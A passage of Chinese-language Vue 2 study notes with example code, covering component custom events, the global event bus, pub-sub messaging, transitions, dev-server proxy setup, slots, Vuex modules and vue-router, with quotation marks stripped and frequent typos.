1.一种组件间通信的方式，适用于：子组件===>父组件 2.使用场景：A是父组件，B是子组件，B想给A传数据，那么就要在A中给B绑定自定义事件（事件的回调在A中） 3.绑定自定义事件：（1）第一张方式，在父组件中：<demo @atguiigu=test/>或<demo v-on:atguigu=test/> （2）第二种方法，在父组件中： <demo ref=demo> ...... mounted(){ this.$ref.xxx.$on(atuguigu,this.test) } (3)若想让自定义事件只能触发一次，可以使用once修饰符，或$once方法 4.触发自定义事件：this.$emit(atguigu,数据) 5.解绑自定义事件：this.$off(atguigu) 6.组件上也可以绑定原生dom事件，需要使用native修饰符 7.注意：通过this.$ref.组件名.$on(atguigu,回调)绑定自定义事件时，回调要么配置在methods中，要么用箭头函数，否则this指向vc而不是vm #app.vue <template> <div> <h1>{{msg}}</h1>  <school :getSchoolName=getSchoolName></school>     <student ref="student" @click.native="show"></student> </div> </template> <script> import student from ./components/student.vue import school from ./components/school.vue export default({ name:App, components:{school,student}, data(){ return{ msg:你好啊！ } }, methods: { getSchoolName(name){ alert(app收到了学校名：+name) }, demo(name){ alert(自定义事件_绑定被调用了:+name) }, m1(){ alert(第二个自定义事件_绑定被被调用l) }, show(){ alert(123) } }, mounted() { this.$refs.student.$on(atguigu,this.demo), this.$refs.student.$on(atguigu2,this.m1) }, }) </script> #school.vue <template>  <div class="demo"> <h2 >学校名称：{{name}}</h2> <h2 >学校地址：{{address}}</h2> <button @click="sendSchoolName">点我向app发送学校名</button> </div> </template> <script> export default { name:mySchool, data(){ return{ name:尚硅谷atgui, address:上海, } }, props:[getSchoolName], methods:{ sendSchoolName(){ this.getSchoolName(this.name) } } } </script> <style scoped> .demo{ background-color: red; } </style> #student.vue <template>  <div class="demo"> <h2 >学生姓名：{{name}}</h2> <h2>性别：{{sex}}</h2> <h2>{{n}}</h2> <button @click="add">点击使n++</button> <button @click="sendStudentName">把学生名给App</button> <button @click="unbind">解绑demo事件</button> <button @click="death">点击销毁student组件的实例</button> </div> </template> <script> export default { name:myStudent, data(){ return{ name:张三, sex:male, n:0 } }, methods: { add(){ console.log(add函数被调用) this.n++ }, sendStudentName(){ //触发Student组件实例身上的atguigu事件 this.$emit(atguigu,this.name), this.$emit(atguigu2) }, unbind(){ // this.$off(atguigu) 只适用于解绑一个自定义事件 this.$off([atguigu,atguigu2])//解绑多个自定义事件 // this.$off() 解绑所有的自定义事件 }, death(){ this.$destroy()//销毁当前student的实例，销毁后所有student实例的自定义事件都不奏效 } }, } </script> <style scoped> .demo{ background-color: aqua; } </style>

(组件事件的绑定和解绑，vc实例的销毁)

50.全局事件总线

1.一种组件间通信的方式，适用于任意组件间通信。 2.安装全局事件总线： new vue({ ... beforeCreate(){ Vue.prototype.$bus=this//安装全局事件总线，$bus就是当前应用的vm }, }) 3.使用事件总线：（1）.接收数据：A组件想接收B组件的数据，则在A组件中$bus绑定自定义事件，事件的回调留在A组件自身。 method(){ demo(data){......} } mounted(){ this.$bus.$on(xxx,this.demo) } (2).B组件提供数据： this.$bus.$emit(xxx,数据) 4.最好在beforeDestroy钩子中，用$off去解绑当前组件所用到的事件 //main.js import Vue from vue import App from ./app.vue // 关闭Vue的生产提示 Vue.config.productionTip = false new Vue({ render: h => h(App), // 安装全局事件总线，$bus就是当前应用的vm beforeCreate(){ Vue.prototype.$bus=this } }).$mount(#app) //app.vue <template> <div> <h1>{{msg}}</h1> <school/> <student/> </div> </template> <script> import student from ./components/student.vue import school from ./components/school.vue export default({ name:App, components:{school,student}, data(){ return{ msg:你好啊！ } }, }) </script> #school.vue <template>  <div class="demo"> <h2 >学校名称：{{name}}</h2> <h2 >学校地址：{{address}}</h2> </div> </template> <script> export default { name:mySchool, data(){ return{ name:尚硅谷atgui, address:上海, } }, mounted() { this.$bus.$on(hello,(data)=>{ console.log(我是学校组件，收到了student的数据：,data) }) }, beforeDestroy(){ // 给总线上的hello事件解绑 this.$bus.$off(hello) } } </script> <style scoped> .demo{ background-color: red; } </style> #student.vue <template>  <div class="demo"> <h2 >学生姓名：{{name}}</h2> <h2>性别：{{sex}}</h2> <button @click="sendStudentName">把学生名给school组件</button> </div> </template> <script> export default { name:myStudent, data(){ return{ name:张三, sex:male, n:0 } }, methods: { sendStudentName(){ this.$bus.$emit(hello,this.name) } }, } </script> <style scoped> .demo{ background-color: aqua; } </style>

51.消息的订阅和发布

1.一种组件间通信的方式，适用于任意组件间通信 2.使用步骤：（1）安装pubsub:npm i pubsub-js （2）引入：import pubsub from pubsub-js （3）接收数据：A组件想接收数据，则在A组件中订阅消息，订阅的回调留在A组件自身 methods(){ //回调函数 demo(data){.....} } mounted(){ this.pid=pubsub.surscribe(xxx,this.demo) } （4）B组件提供数据：pubsub.publish(xxx,数据) （5）最好在beforeDestroy钩子中，用pubsub.unsubscribe(pid)消除订阅 //main.js import Vue from vue import App from ./app.vue // 关闭Vue的生产提示 Vue.config.productionTip = false new Vue({ render: h => h(App), }).$mount(#app) #app.vue <template> <div> <h1>{{msg}}</h1> <school/> <student/> </div> </template> <script> import student from ./components/student.vue import school from ./components/school.vue export default({ name:App, components:{school,student}, data(){ return{ msg:你好啊！ } }, }) </script> #school.vue <template>  <div class="demo"> <h2 >学校名称：{{name}}</h2> <h2 >学校地址：{{address}}</h2> </div> </template> <script> import pubsub from pubsub-js export default { name:mySchool, data(){ return{ name:尚硅谷atgui, address:上海, } }, methods: { demo(msgName,data){ console.log(有人发布了hello消息，hello消息的回调执行:+data) } }, mounted() { this.pubId=pubsub.subscribe(hello,this.demo) }, beforeDestroy(){ pubsub.unsubscribe(this.pubId) } } </script> <style scoped> .demo{ background-color: red; } </style> #student.vue <template>  <div class="demo"> <h2 >学生姓名：{{name}}</h2> <h2>性别：{{sex}}</h2> <button @click="sendStudentName">把学生名给school组件</button> </div> </template> <script> import pubsub from pubsub-js export default { name:myStudent, data(){ return{ name:张三, sex:male, n:0 } }, methods: { sendStudentName(){ pubsub.publish(hello,this.name) } }, } </script> <style scoped> .demo{ background-color: aqua; } </style>

52.Vue.nextTick

1.语法：this.$nextTick(回调函数) 2.作用：在下一次DOM更新结束后执行其指定的回调 3.什么时候用：当修改数据后，要基于更新后的新dom进行某些操作时，要在nextTick所指定的回调函数中执行 handleEdit(todo){ if(todo.hasOwnProperty){ todo.isEdit=true }else{ this.$set(todo,isEdit,true) } //会在前面的更新页面 this.$nextTick(function(){ this.$refs.inputTitle.focus() }) },

53.动画和过渡

1.作用：在插入，更新或移除DOM元素时，在合适的时候给元素添加样式名

2.写法：

1.准备好样式：

元素进入的样式

（1）v-enter:进入的起点

(2) v-enter-active:进入过程中

(3) v-enter-to:进入的终点

元素离开的元素

（1）v-leave:离开的起点

（2）v-leave-active:离开过程中

（3）v-leave-to:离开的终点

2.使用****包裹要过渡的元素并配置name属性

3.备注：若有多个元素需要过度，则需要使用：,且每一个元素主要指定key值

#app.vue <template> <div> <button @click="isShow =!isShow">显示/隐藏</button>  <transition-group name="hello" :appear="true"> <h1 v-show="!isShow" key="1">{{msg}}动画实现</h1> <h1 v-show="isShow" key="2">世界！</h1> </transition-group> <transition name="hello2" :appear="true"> <h2 v-show="isShow" >{{msg}}过渡实现</h2> </transition> <hr> <animateTest></animateTest> </div> </template> <script> import student from ./components/student.vue import school from ./components/school.vue import animateTest from ./components/animeTest.vue export default({ name:App, components:{school,student,animateTest}, data(){ return{ isShow:true, msg:你好啊！ } }, }) </script> <style scoped> h1{ background-color: orange; } .hello-enter-active{ animation: change 1s; } .hello-leave-active{ animation: change 1s reverse; } @keyframes change{ from{ transform: translateX(-100%); } to{ transform: translateX(0px); } } h2{ background-color: aqua; } /* 进入的起点离开的终点*/ .hello2-enter,.hello2-leave-to{ transform: translateX(-100%); } /* 过渡的样式 */ .hello2-enter-active,.hello2-leave-active{ transition: 1s linear; } /* 进入的终点离开的起点*/ .hello2-enter-to,.hello2-leave{ transform: translateX(0); } </style> #anime.vue <template> <div> <button @click="isShow=!isShow">显示/隐藏</button> <transition appear name="animate__animated animate__bounce" enter-active-class="animate__fadeInTopLeft" leave-active-class="animate__hinge" > <h1 v-show="isShow">{{text}}</h1> </transition> </div> </template> <script> import animate.css export default { name:animateStyle, data() { return { isShow:true, text:时间啊，你是多么的美丽！ } }, } </script> <style scoped> h1{ background-color: pink; } </style>

54.vue配置代理服务器解决跨域方法一

在配置文件中设置代理服务器的地址

//vue.config.js module.exports={ pages:{ index:{ // 入口 entry:src/main.js, }, }, lintOnSave:false, //关闭语法检测 // 开启代理服务器 devServer:{ proxy:http://localhost:8000 //向服务器8000请求，代理服务器本身和vue一样是8080 } }

在vue文件中使用axios请求

<template> <div> <button @click="getStudents">获取学生信息</button> </div> </template> <script> import axios from axios export default({ name:App, data(){ return{ isShow:true, msg:你好啊！ } }, methods: { getStudents(){ axios.get(http://localhost:8080/student).then( response=>{ console.log(请求成功了,response.data) }, error=>{ console.log(请求失败了,error.message) } ) } }, }) </script> <style scoped> </style> node服务器文件 //未设置cros const { response } = require(express); const express=require(express); const { request } = require(express); const app=express(); app.get(/student,(request,response)=>{ const data={ name:tom, gender:male, age:18, } response.send(JSON.stringify(data)); }) app.listen(8000,()=>{ console.log(服务已经启动，8000端口监听中) })

问题：代理服务器不是什么问题都向服务器请求的，如果本地拥有与请求同名的资源，会返回本地资源。

55.配置代理方法二

#server1.js const { response } = require(express); const express=require(express); const { request } = require(express); const app=express(); app.use((request,response,next)=>{ console.log(有人请求服务器1了); console.log("请求的资源是：",request.url); next(); }) app.get(/student,(request,response)=>{ const data={ name:tom, gender:male, age:18, } response.send(JSON.stringify(data)); }) app.listen(8000,()=>{ console.log(服务已经启动，8000端口监听中) }) #server2.js const { response } = require(express); const express=require(express); const { request } = require(express); const app=express(); app.use((request,response,next)=>{ console.log(有人请求服务器2了); console.log("请求的资源是：",request.url); next(); }) app.get(/car,(request,response)=>{ response.setHeader(Access-Control-Allow-Origin,*); response.setHeader(Access-Control-Allow-Headers,*); const data={ name:宝马, piece:100000, year:2020 } response.send(JSON.stringify(data)); }) app.listen(8001,()=>{ console.log(服务已经启动，8001端口监听中) }) #vue.config.js module.exports={ pages:{ index:{ // 入口 entry:src/main.js, }, }, lintOnSave:false, //关闭语法检测 // 开启代理服务器(方式2) devServer:{ proxy:{ /next:{ target:"http://localhost:8000", pathRewrite:{^/next:}//将请求url中的/next替换为空串 }, /demo:{ target:http://localhost:8001, pathRewrite:{^/demo:}, ws:true,//用于支持websocket changeOrigin:true,//用于控制请求头中的host值 } } } } //app.vue <template> <div> <button @click="getStudents">获取学生信息</button> <button @click="getCars">获取汽车信息</button> </div> </template> <script> import axios from axios export default({ name:App, data(){ return{ isShow:true, msg:你好啊！ } }, methods: { getStudents(){ axios.get(http://localhost:8080/next/student).then( response=>{ console.log(请求成功了,response.data) }, error=>{ console.log(请求失败了,error.message) } ) }, getCars(){ axios.get(http://localhost:8080/demo/car).then( response=>{ console.log(请求成功了,response.data) }, error=>{ console.log(请求失败了,error.message) } ) } }, }) </script> <style scoped> </style>

56.vue脚手架配置两种方法总结

方法一：

在vue.config.js中添加如下配置： devServer:{ proxy:协议:路径：目标端口 //如：proxy:http://localhost:5000 } 说明： 1.优点：配置简单，请求资源时直接发给前端即可 2.缺点：不能配置多个代理，不能灵活的控制请求是否走代理 3.工作方式：若按照上述配置代理，当请求了前端不存在的资源时，那么该请求会转发给服务器（优先匹配前端资源）

方法二：

在vue.config.js具体配置规则 module.exports={ devSever:{ proxy:{ api1:{//匹配所有以api1开头的请求路径 target:协议：路径：目标端口,//代理目标的基础路径 changeOrgin:true, pahRewrite:(^/api1:) }, api1:{//匹配所有以‘api2’开头的请求路径 target:协议：路径：目标端口,//代理目标的基础路径 changeOrgin:true, pahRewrite:(^/api2:) } } } } //changeOrigin设置为true ，服务器收到的请求头中的host为：服务器相同的host端口 //changeOrigin设置为false时，服务器收到的请求头的host为为发出请求的host端口说明： 1.优点：可以配置多个代理，且可以灵活的控制代理是否走代理 2.缺点：配置略显繁琐，请求资源时

57.案例：git用户搜索

//app.vue <template> <div> <gitSearch></gitSearch> <gitList></gitList> </div> </template> <script> import gitSearch from ./components/gitSearch.vue import gitList from ./components/gitList.vue export default({ name:App, components:{gitSearch,gitList}, }) </script> <style scoped> </style> //gitsearch.vue <template> <div id="searchContainer"> <h2>Search Github Users</h2> <input type="text" placeholder="enter the name you search" v-model="keyWord"> <button @click="searchUsers">Search</button> </div> </template> <script> import axios from axios export default { name:gitSearch, data() { return { keyWord: } }, methods: { searchUsers(){ // 请求前更新List的数据 this.$bus.$emit(updateListData,{isFirst:false,isLoading:true,errMsg:,users:[]}); axios.get(`https://api.github.com/search/users?q=${this.keyWord}`).then( response=>{ console.log(请求成功) // 请求前更新List的数据 this.$bus.$emit(updateListData,{isLoading:false,errMsg:,users:response.data.items}); }, error=>{ // 请求前更新List的数据 console.log(请求失败了); this.$bus.$emit(updateListData,{isLoading:false,errMsg:error.message,users:[]}); } ) } }, } </script> <style lang="css" scoped> #searchContainer{ width: 100%; height: 200px; background-color:rgba(225, 222, 222, 0.779) ; margin: 0 auto; } </style> //gitList.vue <template> <div class="row">  <div v-show="info.users.length" class="card" v-for="user in info.users" :key="user.id"> <a :href="user.html_url" target="blank"> <img :src="user.avatar_url" alt=""> <p>{{user.login}}</p> </a> </div>  <h1 v-show="info.isFirst">欢迎使用</h1>  <h1 v-show="info.isLoading">加载中....</h1>  <h1 v-show="info.errMsg">{{info.errMsg}}</h1> </div> </template> <script> export default { name:gitList, data(){ return{ info:{ isFirst:true, isLoading:false, errMsg:, users:[] } } }, mounted(){ this.$bus.$on(updateListData,(dataObj)=>{ // 为了不破坏数据的完整性，ES6的语法：将未赋值的数据不修改 this.info={...this.info,...dataObj} }) }, } </script> <style> a{ text-decoration: none; } .row{ width: 100%; background-color: rgb(211, 194, 194); display: flex; flex-wrap: wrap; justify-content: center; } .card{ flex: 1; width: 25%; min-width: 25%; max-width: 25%; } .card img{ width: 100px; height: 100px; box-shadow: 4px 4px black 0.3; background-size: contain; } </style>

58.插槽

插槽 1.作用：让父组件可以向子组件指定位置插入HTML结构，也是一种组件间通信的方式，适用于父组件===>子组件 2.分类：默认插槽，具名插槽，作用域插槽 3.使用方式： 1. 默认插槽：父组件中： <子组件名> <div>html结构</div> </子组件名> 子组件中： <template> <div>  <slot>插槽默认内容</slot> </div> </template> 2.具名插槽父组件中： <组件名> <template slot=name1> <div>html 结构1</div> </template> <template slot=name2> <div>html 结构2</div> </template> </组件名> 子组件中： <template> <div> <slot name="name1">插槽默认内容1</slot> <slot name="name2">插槽默认内容2</slot> </div> </template> 3.作用域插槽：理解：数据在组件的自身，但根据数据生成的结构需要组件的使用者来决定。（game数据在Category组件中，但使用数据所遍历出来的结构由App决定）父组件： <category> <template scope=scopeDate> </h1 v-for="g in scopeData.games" :key=g>{{g}}</h4> </template> </category> <category> <template slot-scope=scopeDate> </h4 v-for="g in scopeData.games" :key=g>{{g}}</h4> </template> </category> 子组件： <template> <div> <slot :games="games"></slot> </div> </template> <script> export default{ name:category, props:[title], data(){ return{ games:[红色警戒,cod,ck3,wt] } } } </script>

1 ，2默认插槽，定名插槽

//app.vue <template> <div class="container"> <CategoryTest title="美食" :listData="foods"> <img slot="center" src="https://img2.baidu.com/it/u=381412217,2118678125&fm=253&fmt=auto&app=138&f=JPEG?w=889&h=500" alt=""> <a slot="footer" href="www.baidu.com">更多美食</a> </CategoryTest> <CategoryTest title="游戏" :listData="games"> <ul slot="center"> <li v-for="(item,index) in games" :key="index">{{item}}</li> </ul> <div class="foot" slot="footer"> <a href="www.baidu.com">单机游戏</a> <a href="www.baidu.com">网络游戏</a> </div> </CategoryTest> <CategoryTest title="电影" :listData="films"> <iframe slot="center" height=498 width=510 src=https://player.youku.com/embed/XNTE4MDgwMTAzMg== frameborder=0></iframe> <template v-slot:footer> <div class="foot"> <a href="www.baidu.com">经典</a> <a href="">热门</a> <a href="">推荐</a> <h4>欢迎前来观影</h4> </div> </template> </CategoryTest> </div> </template> <script> import CategoryTest from ./components/CategoryTest.vue export default({ name:App, components:{CategoryTest}, data() { return { foods:[火锅,烧烤,小龙虾,牛排], games:[红色警戒,炉石传说,模拟飞行,战地,cod], films:[教父,楚门的世界,情书,末代皇帝] } }, }) </script> <style scoped> .container,.foot{ display: flex; justify-content: space-around; } iframe{ width: 80%; height: 50%; margin: 0 auto; } .foot h4{ text-align: center; } </style> //categoryTest.vue <template> <div class="category"> <h3>{{title}}分类</h3>  <slot name="center">我是一个默认值，当使用者没有传递集体结构时，我会出现</slot>  <slot name="footer">我是一个默认值，当使用者没有传递集体结构时，我会出现</slot> </div> </template> <script> export default { name:CategoryTest, props:[title] } </script> <style> .category{ background-color: rgb(12, 207, 207); width: 300px; height: 300px; } .category h3{ text-align: center; background-color: yellow; } img{ width: 100%; } </style>

3.作用域插槽

//app.vue <template> <div class="container"> <CategoryTest title="游戏"> <template scope="atguigu"> <div> <ul> <li v-for="(g,index) in atguigu.games" :key="index">{{g}}</li> </ul> </div> </template> </CategoryTest> <CategoryTest title="游戏"> <template scope="atguigu"> <div> <ol> <li style="color:red" v-for="(g,index) in atguigu.games" :key="index">{{g}}</li> </ol> <h4>{{atguigu.x}}</h4> </div> </template> </CategoryTest> </div> </template> <script> import CategoryTest from ./components/CategoryTest.vue export default({ name:App, components:{CategoryTest}, }) </script> <style scoped> .container,.foot{ display: flex; justify-content: space-around; } iframe{ width: 80%; height: 50%; margin: 0 auto; } .foot h4{ text-align: center; } </style> //categoryTest.vue <template> <div class="category"> <h3>{{title}}分类</h3> <slot :games="games" :x=msg>我是默认内容</slot> </div> </template> <script> export default { name:CategoryTest, props:[title], data() { return { games:[红色警戒,炉石传说,模拟飞行,战地,cod], msg:时间啊，你是多么的美丽 } }, } </script> <style> .category{ background-color: rgb(12, 207, 207); width: 300px; height: 300px; } .category h3{ text-align: center; background-color: yellow; } img{ width: 100%; } </style>

59.vuex

概念：专门在Vue中实现集中式状态（数据）管理的一个Vue插件，对vue应用中多个组件的共享状态进行集中式的管理（读/写），也是一种组件间通信的方式，且适用于任意组件通信什么时候使用Vuex 多个组件依赖于同一状态来自不同组件的行为需要变更同一状态

2.搭建vuex环境

// 该文件用于创建vuex中最为核心的store import Vue from vue // 引入Vuex import Vuex from vuex // 使用Vuex插件 Vue.use(Vuex) // 创建并暴露store const store= new Vuex.Store({ // 准备actions--用于响应组件中的动作 actions:{ }, // 准备mutations--用于to操作数据（state） mutations:{ }, // 准备state--用于存储数据 state:{ }, //准备action--用于异步操作数据 }) export default store 2.在main.js中创建vm时传入store配置项 .... //引入store import store from ./store //创建vm new Vue({ el:#app, render:h=>app, store })

2.求和案例vue纯享版

//app.vue <template> <div> <count-add></count-add> </div> </template> <script> import CountAdd from "./components/CountAdd.vue" export default({ name:App, components:{CountAdd}, }) </script> <style scoped> </style> //coutadd.vue <template> <div> <h1>当前求和为：{{sum}}</h1> <select v-model="n"> <option :value="1">1</option> <option :value="2">2</option> <option :value="3">3</option> </select> <button @click="increment">+</button> <button @click="decrement">-</button> <button @click="incrementOdd">当前求和为奇数再加</button> <button @click="incrementWait">等一等再加</button> </div> </template> <script> export default { name:CountAdd, data() { return { n:1,//用户选择的数字 sum:0//当前的和 } }, methods: { increment(){ this.sum+=this.n }, decrement(){ this.sum-=this.n }, incrementOdd(){ if(this.sum%2!=0){ this.sum+=this.n } }, incrementWait(){ setTimeout(()=>{ this.sum+=this.n }) } }, } </script> <style scoped> button{ margin-left:5px ; } </style>

3.求和案例vuex版本

//main.js文件 import Vue from vue import App from ./app.vue // 引入store import store from ./store/index // 关闭Vue的生产提示 Vue.config.productionTip = false new Vue({ store, render: h => h(App), beforeCreate(){ Vue.prototype.$bus=this } }).$mount(#app) //store.js文件 // 该文件用于创建vuex中最为核心的store import Vue from vue import countOption from ./count import PersonOption from ./person // 引入Vuex import Vuex from vuex // 使用Vuex插件 Vue.use(Vuex) // 创建并暴露store const store= new Vuex.Store({ modules:{ countAbout:countOption, personAbout:PersonOption } }) export default store //count.js文件 const countOption={ namespaced:true, actions:{ jiaOdd:function(context,value){ console.log(action中的jiaOdd被调用了,value) if(context.state.sum%2){ context.commit(JIA,value) } }, jiaWait:function(context,value){ console.log(action中的jiaWait被调用了,value) setTimeout(() => { context.commit(JIA,value) }, 500); }, }, mutations:{ JIA(state,value){ console.log(mutations中的JIA被调用了,value) state.sum+=value }, JIAN(state,value){ console.log(mutations中的JIAN被调用了,value) state.sum-=value }, }, state:{ sum:0,//当前的和 name:绘梨, hobby:爱看电影的, }, getters:{ bigSum(state){ return state.sum*10 } } } export default countOption //person.js import axios from axios import { nanoid } from nanoid const PersonOption={ namespaced:true, actions:{ add_personWang(context,value){ if(value.personName.indexOf(王)===0){ context.commit(add_person,value) }else{ alert(添加的人名不姓王) } }, addPersonServer(context){ axios.get(https://api.uixsj.cn/hitokoto/get?type=social).then( Response=>{ context.commit(add_person,{id:nanoid(),personName:Response.data}) }, error=>{ alert(error.message) } ) } }, mutations:{ add_person(state,value){ console.log(mutations中的add_person被调用了) state.personList.unshift(value) } }, state:{ personList:[ {id:001,personName:电次} ] }, getters:{ firstPersonName(state){ return state.personList[0].personName } } } export default PersonOption

(模块化设计)

//app.vue <template> <div> <count-add></count-add> <person-add></person-add> </div> </template> <script> import CountAdd from "./components/CountAdd.vue" import personAdd from ./components/personAdd.vue export default({ name:App, components:{CountAdd,personAdd}, }) </script> <style scoped> </style> //countadd.vue <template> <div> <h1>当前求和为：{{sum}}</h1> <h1>{{hobby}}{{name}}</h1> <h1>当前求和放大10倍为{{bigSum}}</h1> <h1 style="color:red">person组件的总人数是：{{personList.length}}</h1> <select v-model="n"> <option :value="1">1</option> <option :value="2">2</option> <option :value="3">3</option> </select> <button @click="increment(n)">+</button> <button @click="decrement(n)">-</button> <button @click="incrementOdd(n)">当前求和为奇数再加</button> <button @click="incrementWait(n)">等一等再加</button> </div> </template> <script> import {mapState,mapGetters,mapMutations,mapActions} from vuex export default { name:CountAdd, data() { return { n:1,//用户选择的数字 } }, methods: { //借助mpaMutations生成对应的方法，方法中对调用commit求联系mutation ...mapMutations(countAbout,{increment:JIA,decrement:JIAN}), //借助mpaMutations生成对应的方法，方法中对调用commit求联系mutation // ...mapMutations([JIA,JIAN])需要将上面的函数名换成同名 ...mapActions(countAbout,{incrementOdd:jiaOdd,incrementWait:jiaWait}) // ...mapAction([JIAOdd,JIANWait])需要将上面的函数名换成同名 }, computed:{ ...mapState(countAbout,[sum,name,hobby]), ...mapState(personAbout,[personList]), // 借助mapState生成计算属性，从state中读取数据（对象写法） // ...mapState({sum:sum,hobby:hobby,name:name}), // 借助mapState生成计算属性，从state中读取数据（数组写法） // ...mapState([sum,name,hobby,personList]), // 借助mapGetters生成计算属性，从Getters中读取数据（对象写法） // ...mapGetters({bigSum:bigSum}) // 借助mapGetter生成计算属性，从Getters中读取数据（数组写法） ...mapGetters(countAbout,[bigSum]) } } </script> <style scoped> button{ margin-left:5px ; } </style> //personadd.vue <template> <div> <h1>人员列表</h1> <h1 style="color:red">count组件的求和为：{{sum}}</h1> <h1>列表中第一个人的名字是{{firstPersonName}}</h1> <input type="text" placeholder="请输入名字" v-model="name"> <button @click="add">添加</button> <button @click="addWang">添加一个姓王的人名</button> <button @click="addPersonServer">添加一个人，名字随机</button> <ul> <li v-for="p in personList" :key="p.id"> {{p.personName}} </li> </ul> </div> </template> <script> import {nanoid} from nanoid import {mapState} from vuex export default { name:personAdd, data() { return { name: } }, methods: { add(){ const personObj={id:nanoid(),personName:this.name} this.$store.commit(personAbout/add_person,personObj) this.name= }, addWang(){ const personObj={id:nanoid(),personName:this.name} this.$store.dispatch(personAbout/add_personWang,personObj) this.name= }, addPersonServer(){ this.$store.dispatch(personAbout/addPersonServer) } }, computed:{ ...mapState(personAbout,[personList]), ...mapState(countAbout,[sum]), firstPersonName(){ return this.$store.getters[personAbout/firstPersonName] } } } </script> <style> </style>

4.vuex模块化+命名空间

目的：让代码更加好维护，让多种数据分类更加明确

步骤一：修改store.js

const countAbout={ namespaced:true,//开启命名空间 state:{}, mutation:{}, action:{}, getters{} } const PersonAbout={ namespaced:true,//开启命名空间 state:{}, mutation:{}, action:{}, getters{} } const store=new Vuex.store({ modules:{ countAbout, personAbout } })

开启命名空间后，组件中读取state数据

//方法一，自己直接读取 this.$sstre.state.personAbout.list //方法二，借助mapState读取 ...mapState(countAbout,[sum,name,hobby])

组件中读取getters数据

//方法一,自己直接读取 this.$store.getters[personAbout/fistPersonName] //方法二，借助mapGetter读取 ...mapGetters(countAbout,[bigSum])

开启命名空间后，组件中调用dispatch

//自己直接dispath this.$store.dispath(personAbout/addPersonWang,person) //借助mapAction ...mapAction(coutnAbout,{incrementOdd:jiaOdd,incrementWait:jiaWait})

开启命名空间后，组件中调用commit

//自己调用 this.$store.commit(personAbout/add_person,person) //借助mapMutation ...mapMutation(countAbout,{increment:JIA})

60.vue路由

一，路由的理解

什么是路由？

1.一个路由就是一组映射关系（key-value）

2.key为路径，value可能是function或component

路由分类：

1.后端路由：

理解：value是function ，用于处理客户端提交的请求

工作过程：服务器接收到一个请求时，根据请求路径找到匹配的函数来处理请求，返回响应数据

2.前端路由

理解：value是component ，用于展示页面内容工作过程：当浏览器的路径改变时，对应的组件就会显示

二，vue-router的理解

vue的一个插件库，专门用来实现SPA应用

三，对SPA应用的理解

单页web应用（single page web application ）整个应用只有一个完整的页面点击页面的导航链接不会刷新页面，只会做页面的局部更新数据需要通过Ajax请求获取

四，vue的相关使用

1.安装vue-router,命令：npm i vue_router 2.应用插件：Vue.use(VueRouter) 3.编写router配置项 //引入vueRouter import VueRouter from vue-router //引入要显示的组件 import home from ../comonents/home //创建router实例对象，去管理一组一组的路由规则 const roter = new VueRouter({ routes:[ { path:abouts, component:About }, { path:/home, compontent:Home } ] }) //暴露router export default router 4.实现切换（active-class可配置高亮样式） <router-link acitv-class="active" to="/about">About</router-link> 5.指定展示位置 <router-view><router-view/>

五，Vue路由案例

//router文件夹下的index.js文件 //该文件专门用于创建整个应用的路由器 import VueRouter from "vue-router" import homeRouter from ../components/homeRouter import AboutRouter from ../components/aboutRouter // 创建并暴露一个路由器 export default new VueRouter({ routes: [ { path:/about, component:AboutRouter }, { path:/home, component:homeRouter } ] }) //main.js import Vue from vue import App from ./app.vue // 引入store import store from ./store/index // 引入VueRouter import VueRouter from vue-router // 引入路由器 import router from ./router // 关闭Vue的生产提示 Vue.config.productionTip = false // 应用创建 Vue.use(VueRouter) new Vue({ store, router:router, render: h => h(App), beforeCreate(){ Vue.prototype.$bus=this } }).$mount(#app) //app.vue <template> <div class="all"> <div class="page-header"> <h2>Vue Router Demo</h2> </div> <div class="page-body"> <div class="row"> <div class="list-group">     <router-link to="/about" >About</router-link> <router-link to="/home" >Home</router-link> </div> </div> <div class="panel">  <router-view></router-view> </div> </div> </div> </template> <script> export default({ name:App, }) </script> <style scoped> a{ text-decoration: none; } .list-group a{ display: block; width: 100px; border: 2px solid gray; } a:hover{ background-color: skyblue; } .page-body{ display: flex; } </style> //aboutRouter.vue <template> <div> <h3>我是about的内容</h3> </div> </template> <script> export default { name:aboutRouter } </script> <style> </style> //homeRouter.vue <template> <div> <h3>我是home的内容</h3> </div> </template> <script> export default { name:homeRouter } </script> <style> </style>

六，Vue中几个注意点

路由器显示组件通常存放在page文件夹，一般组件通常存放在component文件夹通过切换，“隐藏 ”了的路由组件，默认是被销毁掉的，需要的时候再去挂载每个组件都有自己的$route属性，里面存储着自己的路由消息整个应用只有一个router，可以通过组件的$router属性获取到

61.嵌套（多级）路由

1.配置路由规则，使用children配置项： router:[ { path:/about, component:About, }, { path: component:Home, //通过children配置子路由 chilren:{ path:news,//此处一定不要写：/new component:News }, { path:message,//此处一定不要写：/message component:Message } } ] 2.跳转（要写完整路径） <router-link to="home/news">News<router-link> //router中的index.js //该文件专门用于创建整个应用的路由器 import VueRouter from "vue-router" import homeRouter from ../page/homeRouter import AboutRouter from ../page/aboutRouter import News from ../page/NewsRouter import Message from ../page/MessageRouter // 创建并暴露一个路由器 export default new VueRouter({ routes: [ { path:/about, component:AboutRouter }, { path:/home, // 二级路由 component:homeRouter, children:[ { path:news, component:News, }, { path:message, component:Message, } ] } ] }) //homeRouter.vue <template> <div> <h3>我是home的内容</h3> <div> <ul class="nav-tabs"> <li> <router-link to="/home/news">News</router-link> </li> <li> <router-link to="/home/message">Message</router-link> </li> </ul> <router-view></router-view> </div> </div> </template> <script> export default { name:homeRouter } </script> <style> </style> //MessageRouter.vue <template> <div> <ul> <li> <a href="">message001</a> </li> <li> <a href="">message002</a> </li> <li> <a href="">message003</a> </li> </ul> </div> </template> <script> export default { name:MessageRouter } </script> <style> </style> //newRouter.vue <template> <div> <ul> <li> <a href="">New001</a> </li> <li> <a href="">New002</a> </li> <li> <a href="">New003</a> </li> </ul> </div> </template> <script> export default { } </script> <style> </style>

62.路由的query参数

1.传递参数跳转并携带query参数，to的字符串写法 <router-link :to="`/home/message/detail?id={m.id}&title={m.title}`"></router-link> 2.接收d参数 <router-link :to="{ path:/home/message/detail, query:{ id:666, title:"你好" } }"></router-link> //router的index.js //该文件专门用于创建整个应用的路由器 import VueRouter from "vue-router" import homeRouter from ../page/homeRouter import AboutRouter from ../page/aboutRouter import News from ../page/NewsRouter import Message from ../page/MessageRouter import DetailRouter from ../page/DetailRouter; // 创建并暴露一个路由器 export default new VueRouter({ routes: [ { path:/about, component:AboutRouter }, { path:/home, // 二级路由 component:homeRouter, children:[ { path:news, component:News, }, { path:message, component:Message, children:[ { path:detail, component:DetailRouter } ] } ] } ] }) //messageRouter.vue <template> <div> <ul>  <li v-for="m in messageList" :key="m.id">   <router-link :to="{ path:/home/message/detail, query:{ id:m.id, 